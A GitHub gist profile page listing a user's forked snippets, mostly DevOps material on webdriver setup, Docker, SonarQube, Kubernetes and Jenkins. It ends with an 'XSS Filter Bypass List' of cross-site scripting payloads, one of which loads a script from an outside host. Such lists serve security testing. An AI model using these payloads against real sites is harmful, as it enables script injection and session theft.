Skip to content

Instantly share code, notes, and snippets.

View prashanth-sams's full-sized avatar
🍎
Each day is interesting!!!

Prashanth Sams prashanth-sams

🍎
Each day is interesting!!!
View GitHub Profile
@prashanth-sams
prashanth-sams / update_webdrivers.sh
Created November 25, 2018 07:55 — forked from cgoldberg/update_webdrivers.sh
Install geckodriver/chromedriver for Linux (64 bit)
#!/usr/bin/env bash
#
# Install WebDrivers for Linux
# ----------------------------
# * Binary webdrivers are required to drive Firefox and Chrome browsers from Selenium.
# * This script will fetch the 64-bit binaries (geckodriver/chromedriver) for Linux.
set -e
@prashanth-sams
prashanth-sams / docker-examples.md
Created January 20, 2019 14:40 — forked from thaJeztah/docker-examples.md
Some docker examples

Commit, clone a container

To 'clone' a container, you'll have to make an image of that container first, you can do so by "committing" the container. Docker will (by default) pause all processes running in the container during commit to preserve data-consistency.

For example;

docker commit --message="Snapshot of my container" my_container my_container_snapshot:yymmdd
@prashanth-sams
prashanth-sams / sonarqube.sh
Created January 23, 2019 14:47 — forked from raincatcher-bot/sonarqube.sh
Run sonarqube analysis on travis via docker image
#!/bin/bash
set -ev
if [ -v SONAR_TOKEN ]; then
docker pull pierrevincent/sonar-runner
SONAR_OPTIONS="-Dsonar.login=$SONAR_TOKEN"
if [ "${TRAVIS_PULL_REQUEST}" != "false" ]; then
SONAR_OPTIONS="$SONAR_OPTIONS -Dsonar.github.oauth=$SONAR_GITHUB -Dsonar.github.pullRequest=$TRAVIS_PULL_REQUEST -Dsonar.analysis.mode=issues"
fi
docker run --rm -v $(pwd):/data pierrevincent/sonar-runner $SONAR_OPTIONS
fi
@prashanth-sams
prashanth-sams / sonar.sh
Created January 23, 2019 14:47 — forked from guiwoda/sonar.sh
Run sonarqube analysis
#!/bin/bash
if [ "$PULL_REQUEST_NUMBER" == "false" ]; then
~/sonar-scanner/sonar-scanner-2.8/bin/sonar-scanner -Dsonar.analysis.mode=preview \
              -Dsonar.github.repository=$SEMAPHORE_REPO_SLUG \
              -Dsonar.github.oauth=$GITHUB_TOKEN \
              -Dsonar.host.url=$SONAR_HOST_URL \
              -Dsonar.login=$SONAR_TOKEN
else
~/sonar-scanner/sonar-scanner-2.8/bin/sonar-scanner -Dsonar.analysis.mode=preview \
@prashanth-sams
prashanth-sams / github-emoji.md
Created April 4, 2019 08:39
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
@prashanth-sams
prashanth-sams / README.md
Created May 5, 2019 15:31 — forked from fntlnz/README.md
InfluxDB and Chronograf deployed in Kubernetes

InfluxDB and Chronograf in Kubernetes

  1. Create the namespace
kubectl create ns monitoring
  1. Deploy influxdb
kubectl apply -f influxdb.yml
@prashanth-sams
prashanth-sams / K8s Cheat sheet.md
Created May 9, 2019 16:20 — forked from gianrubio/K8s Cheat sheet.md
Deploy prometheus using helm

k8s cheat sheet

aws s3api create-bucket --bucket my-kops-bucket --location- eu-west-1 --create-bucket-configuration LocationConstraint=eu-west-1
export NAME=my-kops-cluster-name
export KOPS_STATE_STORE=s3://my-kops-bucket-name 
kops create cluster --zones eu-west-1a,eu-west-1b --name $NAME --node-count=2 --node-size=t2.medium  --authorization=RBAC   --networking=calico --encrypt-etcd-storage --kubernetes-version=v1.7.10 
kops update cluster --yes
kops validate cluster
watch -n x <your command>
watch -n 60 ls -l ~/Desktop
job("main-repo") {
scm {
github("StephenKing/chef-ci-main-repo")
}
steps {
shell("knife upload roles environments data_bags --chef-repo-path ./")
}
}
@prashanth-sams
prashanth-sams / xxsfilterbypass.lst
Created July 10, 2021 09:21 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>